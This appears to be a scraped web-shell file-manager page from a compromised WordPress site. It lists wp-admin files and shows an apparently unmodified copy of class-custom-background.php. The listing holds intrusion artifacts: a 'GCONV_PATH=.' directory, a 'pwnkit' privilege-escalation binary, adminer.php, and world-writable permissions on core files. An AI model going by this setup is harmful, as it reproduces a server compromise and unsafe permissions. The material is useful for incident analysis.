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GCONV_PATH=.	[ DIR ]	drwxr-xr-x
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admin-filters.php	7.58 KB	-rwxrwxrwx
admin.php	3.54 KB	-rwxrwxrwx
adminer.php	465.43 KB	-rw-r--r--
ajax-actions.php	147.15 KB	-rwxrwxrwx
bookmark.php	11.4 KB	-rwxrwxrwx
class-automatic-upgrader-skin....	3.58 KB	-rwxrwxrwx
class-bulk-plugin-upgrader-ski...	2.2 KB	-rwxrwxrwx
class-bulk-theme-upgrader-skin...	2.27 KB	-rwxrwxrwx
class-bulk-upgrader-skin.php	5.44 KB	-rwxrwxrwx
class-core-upgrader.php	14.65 KB	-rwxrwxrwx
class-custom-background.php	20.69 KB	-rwxrwxrwx
class-custom-image-header.php	47.21 KB	-rwxrwxrwx
class-file-upload-upgrader.php	4.12 KB	-rwxrwxrwx
class-ftp-pure.php	5.3 KB	-rwxrwxrwx
class-ftp-sockets.php	8.28 KB	-rwxrwxrwx
class-ftp.php	26.67 KB	-rwxrwxrwx
class-language-pack-upgrader-s...	2.42 KB	-rwxrwxrwx
class-language-pack-upgrader.p...	14.58 KB	-rwxrwxrwx
class-pclzip.php	192.11 KB	-rwxrwxrwx
class-plugin-installer-skin.ph...	11.6 KB	-rwxrwxrwx
class-plugin-upgrader-skin.php	3.2 KB	-rwxrwxrwx
class-plugin-upgrader.php	21.14 KB	-rwxrwxrwx
class-theme-installer-skin.php	12.26 KB	-rwxrwxrwx
class-theme-upgrader-skin.php	4.07 KB	-rwxrwxrwx
class-theme-upgrader.php	24.53 KB	-rwxrwxrwx
class-walker-category-checklis...	4.76 KB	-rwxrwxrwx
class-walker-nav-menu-checklis...	5.5 KB	-rwxrwxrwx
class-walker-nav-menu-edit.php	12.95 KB	-rwxrwxrwx
class-wp-ajax-upgrader-skin.ph...	4.1 KB	-rwxrwxrwx
class-wp-application-passwords...	6.73 KB	-rwxrwxrwx
class-wp-automatic-updater.php	51.66 KB	-rwxrwxrwx
class-wp-comments-list-table.p...	30.61 KB	-rwxrwxrwx
class-wp-community-events.php	18.33 KB	-rwxrwxrwx
class-wp-debug-data.php	58.93 KB	-rwxrwxrwx
class-wp-filesystem-base.php	22.86 KB	-rwxrwxrwx
class-wp-filesystem-direct.php	16.8 KB	-rwxrwxrwx
class-wp-filesystem-ftpext.php	20.06 KB	-rwxrwxrwx
class-wp-filesystem-ftpsockets...	16.82 KB	-rwxrwxrwx
class-wp-filesystem-ssh2.php	21.8 KB	-rwxrwxrwx
class-wp-importer.php	7.27 KB	-rwxrwxrwx
class-wp-internal-pointers.php	4.47 KB	-rwxrwxrwx
class-wp-links-list-table.php	8.26 KB	-rwxrwxrwx
class-wp-list-table-compat.php	1.46 KB	-rwxrwxrwx
class-wp-list-table.php	43.79 KB	-rwxrwxrwx
class-wp-media-list-table.php	25.74 KB	-rwxrwxrwx
class-wp-ms-sites-list-table.p...	20.32 KB	-rwxrwxrwx
class-wp-ms-themes-list-table....	27.12 KB	-rwxrwxrwx
class-wp-ms-users-list-table.p...	14.43 KB	-rwxrwxrwx
class-wp-plugin-install-list-t...	23.69 KB	-rwxrwxrwx
class-wp-plugins-list-table.ph...	48.4 KB	-rwxrwxrwx
class-wp-post-comments-list-ta...	1.42 KB	-rwxrwxrwx
class-wp-posts-list-table.php	60.52 KB	-rwxrwxrwx
class-wp-privacy-data-export-r...	5.43 KB	-rwxrwxrwx
class-wp-privacy-data-removal-...	5.56 KB	-rwxrwxrwx
class-wp-privacy-policy-conten...	31.59 KB	-rwxrwxrwx
class-wp-privacy-requests-tabl...	13.31 KB	-rwxrwxrwx
class-wp-screen.php	36.36 KB	-rwxrwxrwx
class-wp-site-health-auto-upda...	13.2 KB	-rwxrwxrwx
class-wp-site-health.php	111.65 KB	-rwxrwxrwx
class-wp-site-icon.php	6.14 KB	-rwxrwxrwx
class-wp-terms-list-table.php	19.14 KB	-rwxrwxrwx
class-wp-theme-install-list-ta...	15.31 KB	-rwxrwxrwx
class-wp-themes-list-table.php	9.99 KB	-rwxrwxrwx
class-wp-upgrader-skin.php	6.34 KB	-rwxrwxrwx
class-wp-upgrader-skins.php	1.44 KB	-rwxrwxrwx
class-wp-upgrader.php	36.59 KB	-rwxrwxrwx
class-wp-users-list-table.php	18.42 KB	-rwxrwxrwx
comment.php	5.98 KB	-rwxrwxrwx
continents-cities.php	20.06 KB	-rwxrwxrwx
credits.php	5.8 KB	-rwxrwxrwx
dashboard.php	67.78 KB	-rwxrwxrwx
deprecated.php	40.74 KB	-rwxrwxrwx
edit-tag-messages.php	1.44 KB	-rwxrwxrwx
export.php	23.57 KB	-rwxrwxrwx
file.php	91.72 KB	-rwxrwxrwx
image-edit.php	38.23 KB	-rwxrwxrwx
image.php	37.91 KB	-rwxrwxrwx
import.php	6.52 KB	-rwxrwxrwx
list-table.php	3.71 KB	-rwxrwxrwx
media.php	115.15 KB	-rwxrwxrwx
menu.php	9.44 KB	-rwxrwxrwx
meta-boxes.php	64.38 KB	-rwxrwxrwx
misc.php	44.74 KB	-rwxrwxrwx
ms-admin-filters.php	1.27 KB	-rwxrwxrwx
ms-deprecated.php	3.68 KB	-rwxrwxrwx
ms.php	32.79 KB	-rwxrwxrwx
nav-menu.php	46 KB	-rwxrwxrwx
network.php	26.04 KB	-rwxrwxrwx
noop.php	1.06 KB	-rwxrwxrwx
options.php	4.05 KB	-rwxrwxrwx
plugin-install.php	34.08 KB	-rwxrwxrwx
plugin.php	87.7 KB	-rwxrwxrwx
post.php	75.73 KB	-rwxrwxrwx
privacy-tools.php	32.67 KB	-rwxrwxrwx
pwnkit	10.99 KB	-rwxr-xr-x
revision.php	15.75 KB	-rwxrwxrwx
schema.php	41.77 KB	-rwxrwxrwx
screen.php	6.21 KB	-rwxrwxrwx
taxonomy.php	8.22 KB	-rwxrwxrwx
template.php	95.11 KB	-rwxrwxrwx
theme-install.php	6.82 KB	-rwxrwxrwx
theme.php	45.68 KB	-rwxrwxrwx
translation-install.php	8.69 KB	-rwxrwxrwx
update-core.php	69.14 KB	-rwxrwxrwx
update.php	34.62 KB	-rwxrwxrwx
upgrade.php	108.25 KB	-rwxrwxrwx
user.php	22.26 KB	-rwxrwxrwx
widgets.php	10.59 KB	-rwxrwxrwx

Code Editor : class-custom-background.php

<?php
/**
 * The custom background script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom background class.
 *
 * @since 3.0.0
 */
#[AllowDynamicProperties]
class Custom_Background {

/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_header_callback;

/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

/**
	 * Constructor - Registers administration header callback.
	 *
	 * @since 3.0.0
	 * @param callable $admin_header_callback
	 * @param callable $admin_image_div_callback Optional custom image div output callback.
	 */
	public function __construct( $admin_header_callback = '', $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

add_action( 'admin_menu', array( $this, 'init' ) );

add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );

// Unused since 3.5.0.
		add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
	}

/**
	 * Sets up the hooks for the Custom Background admin page.
	 *
	 * @since 3.0.0
	 */
	public function init() {
		$page = add_theme_page( __( 'Background' ), __( 'Background' ), 'edit_theme_options', 'custom-background', array( $this, 'admin_page' ) );
		if ( ! $page ) {
			return;
		}

add_action( "load-{$page}", array( $this, 'admin_load' ) );
		add_action( "load-{$page}", array( $this, 'take_action' ), 49 );
		add_action( "load-{$page}", array( $this, 'handle_upload' ), 49 );

if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

/**
	 * Sets up the enqueue for the CSS & JavaScript files.
	 *
	 * @since 3.0.0
	 */
	public function admin_load() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color.' ) . '</p>' .
					'<p>' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' .
					'<p>' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click on the Save Changes button when you are finished.' ) . '</p>',
			)
		);

get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Background_Screen">Documentation on Custom Background</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);

wp_enqueue_media();
		wp_enqueue_script( 'custom-background' );
		wp_enqueue_style( 'wp-color-picker' );
	}

/**
	 * Executes custom background modification.
	 *
	 * @since 3.0.0
	 */
	public function take_action() {
		if ( empty( $_POST ) ) {
			return;
		}

if ( isset( $_POST['reset-background'] ) ) {
			check_admin_referer( 'custom-background-reset', '_wpnonce-custom-background-reset' );

remove_theme_mod( 'background_image' );
			remove_theme_mod( 'background_image_thumb' );

$this->updated = true;
			return;
		}

if ( isset( $_POST['remove-background'] ) ) {
			// @todo Uploaded files are not removed here.
			check_admin_referer( 'custom-background-remove', '_wpnonce-custom-background-remove' );

set_theme_mod( 'background_image', '' );
			set_theme_mod( 'background_image_thumb', '' );

$this->updated = true;
			wp_safe_redirect( $_POST['_wp_http_referer'] );
			return;
		}

if ( isset( $_POST['background-preset'] ) ) {
			check_admin_referer( 'custom-background' );

if ( in_array( $_POST['background-preset'], array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) {
				$preset = $_POST['background-preset'];
			} else {
				$preset = 'default';
			}

set_theme_mod( 'background_preset', $preset );
		}

if ( isset( $_POST['background-position'] ) ) {
			check_admin_referer( 'custom-background' );

$position = explode( ' ', $_POST['background-position'] );

if ( in_array( $position[0], array( 'left', 'center', 'right' ), true ) ) {
				$position_x = $position[0];
			} else {
				$position_x = 'left';
			}

if ( in_array( $position[1], array( 'top', 'center', 'bottom' ), true ) ) {
				$position_y = $position[1];
			} else {
				$position_y = 'top';
			}

set_theme_mod( 'background_position_x', $position_x );
			set_theme_mod( 'background_position_y', $position_y );
		}

if ( isset( $_POST['background-size'] ) ) {
			check_admin_referer( 'custom-background' );

if ( in_array( $_POST['background-size'], array( 'auto', 'contain', 'cover' ), true ) ) {
				$size = $_POST['background-size'];
			} else {
				$size = 'auto';
			}

set_theme_mod( 'background_size', $size );
		}

if ( isset( $_POST['background-repeat'] ) ) {
			check_admin_referer( 'custom-background' );

$repeat = $_POST['background-repeat'];

if ( 'no-repeat' !== $repeat ) {
				$repeat = 'repeat';
			}

set_theme_mod( 'background_repeat', $repeat );
		}

if ( isset( $_POST['background-attachment'] ) ) {
			check_admin_referer( 'custom-background' );

$attachment = $_POST['background-attachment'];

if ( 'fixed' !== $attachment ) {
				$attachment = 'scroll';
			}

set_theme_mod( 'background_attachment', $attachment );
		}

if ( isset( $_POST['background-color'] ) ) {
			check_admin_referer( 'custom-background' );

$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['background-color'] );

if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'background_color', $color );
			} else {
				set_theme_mod( 'background_color', '' );
			}
		}

$this->updated = true;
	}

/**
	 * Displays the custom background page.
	 *
	 * @since 3.0.0
	 */
	public function admin_page() {
		?>
<div class="wrap" id="custom-background">
<h1><?php _e( 'Custom Background' ); ?></h1>

<?php if ( current_user_can( 'customize' ) ) { ?>
<div class="notice notice-info hide-if-no-customize">
	<p>
			<?php
			printf(
				/* translators: %s: URL to background image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Backgrounds in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=background_image' )
			);
			?>
	</p>
</div>
		<?php } ?>

<?php if ( ! empty( $this->updated ) ) { ?>
<div id="message" class="updated">
	<p>
			<?php
			/* translators: %s: Home URL. */
			printf( __( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ), esc_url( home_url( '/' ) ) );
			?>
	</p>
</div>
		<?php } ?>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
		<?php
		if ( $this->admin_image_div_callback ) {
			call_user_func( $this->admin_image_div_callback );
		} else {
			$background_styles = '';
			$bgcolor           = get_background_color();
			if ( $bgcolor ) {
				$background_styles .= 'background-color: #' . $bgcolor . ';';
			}

$background_image_thumb = get_background_image();
			if ( $background_image_thumb ) {
				$background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', $background_image_thumb ) ) ) );
				$background_position_x  = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
				$background_position_y  = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );
				$background_size        = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );
				$background_repeat      = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
				$background_attachment  = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );

// Background-image URL must be single quote, see below.
				$background_styles .= " background-image: url('$background_image_thumb');"
				. " background-size: $background_size;"
				. " background-position: $background_position_x $background_position_y;"
				. " background-repeat: $background_repeat;"
				. " background-attachment: $background_attachment;";
			}
			?>
	<div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // Must be double quote, see above. ?>
			<?php if ( $background_image_thumb ) { ?>
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" /><br />
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" />
		<?php } ?>
	</div>
	<?php } ?>
</td>
</tr>

<?php if ( get_background_image() ) : ?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-remove', '_wpnonce-custom-background-remove' ); ?>
			<?php submit_button( __( 'Remove Background Image' ), '', 'remove-background', false ); ?><br />
			<?php _e( 'This will remove the background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

<?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?>
		<?php if ( $default_image && get_background_image() !== $default_image ) : ?>
<tr>
<th scope="row"><?php _e( 'Restore Original Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-reset', '_wpnonce-custom-background-reset' ); ?>
			<?php submit_button( __( 'Restore Original Image' ), '', 'reset-background', false ); ?><br />
			<?php _e( 'This will restore the original background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

<?php if ( current_user_can( 'upload_files' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td><form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-choose="<?php esc_attr_e( 'Choose a Background Image' ); ?>"
			data-update="<?php esc_attr_e( 'Set as background' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<?php
			$background_position = sprintf(
				'%s %s',
				get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ),
				get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) )
			);

$background_position_options = array(
				array(
					'left top'   => array(
						'label' => __( 'Top Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center top' => array(
						'label' => __( 'Top' ),
						'icon'  => 'dashicons dashicons-arrow-up-alt',
					),
					'right top'  => array(
						'label' => __( 'Top Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left center'   => array(
						'label' => __( 'Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center center' => array(
						'label' => __( 'Center' ),
						'icon'  => 'background-position-center-icon',
					),
					'right center'  => array(
						'label' => __( 'Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left bottom'   => array(
						'label' => __( 'Bottom Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center bottom' => array(
						'label' => __( 'Bottom' ),
						'icon'  => 'dashicons dashicons-arrow-down-alt',
					),
					'right bottom'  => array(
						'label' => __( 'Bottom Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
			);
			?>
<tr>
<th scope="row"><?php _e( 'Image Position' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Image Position' );
			?>
</span></legend>
<div class="background-position-control">
			<?php foreach ( $background_position_options as $group ) : ?>
	<div class="button-group">
				<?php foreach ( $group as $value => $input ) : ?>
		<label>
			<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>"<?php checked( $value, $background_position ); ?>>
			<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
			<span class="screen-reader-text"><?php echo $input['label']; ?></span>
		</label>
	<?php endforeach; ?>
	</div>
<?php endforeach; ?>
</div>
</fieldset></td>
</tr>

<?php wp_nonce_field( 'custom-background' ); ?>
		<?php submit_button( null, 'primary', 'save-background-options' ); ?>
</form>

</div>
		<?php
	}

/**
	 * Handles an Image upload for the background image.
	 *
	 * @since 3.0.0
	 */
	public function handle_upload() {
		if ( empty( $_FILES ) ) {
			return;
		}

check_admin_referer( 'custom-background-upload', '_wpnonce-custom-background-upload' );

$overrides = array( 'test_form' => false );

$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

$file = wp_handle_upload( $uploaded_file, $overrides );

if ( isset( $file['error'] ) ) {
			wp_die( $file['error'] );
		}

$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-background',
		);

// Save the data.
		$id = wp_insert_attachment( $attachment, $file );

// Add the metadata.
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
		update_post_meta( $id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

set_theme_mod( 'background_image', sanitize_url( $url ) );

$thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );

/** This action is documented in wp-admin/includes/class-custom-image-header.php */
		do_action( 'wp_create_file_in_uploads', $file, $id ); // For replication.
		$this->updated = true;
	}

/**
	 * Handles Ajax request for adding custom background context to an attachment.
	 *
	 * Triggers when the user adds a new background image from the
	 * Media Manager.
	 *
	 * @since 4.1.0
	 */
	public function ajax_background_add() {
		check_ajax_referer( 'background-add', 'nonce' );

if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() );

wp_send_json_success();
	}

/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 */
	public function wp_set_background_image() {
		check_ajax_referer( 'custom-background' );

if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['attachment_id'] ) ) {
			exit;
		}

$attachment_id = absint( $_POST['attachment_id'] );

$sizes = array_keys(
			/** This filter is documented in wp-admin/includes/media.php */
			apply_filters(
				'image_size_names_choose',
				array(
					'thumbnail' => __( 'Thumbnail' ),
					'medium'    => __( 'Medium' ),
					'large'     => __( 'Large' ),
					'full'      => __( 'Full Size' ),
				)
			)
		);

$size = 'thumbnail';
		if ( in_array( $_POST['size'], $sizes, true ) ) {
			$size = esc_attr( $_POST['size'] );
		}

update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

$url       = wp_get_attachment_image_src( $attachment_id, $size );
		$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
		set_theme_mod( 'background_image', sanitize_url( $url[0] ) );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );
		exit;
	}
}

${this.title}

Code Editor : class-custom-background.php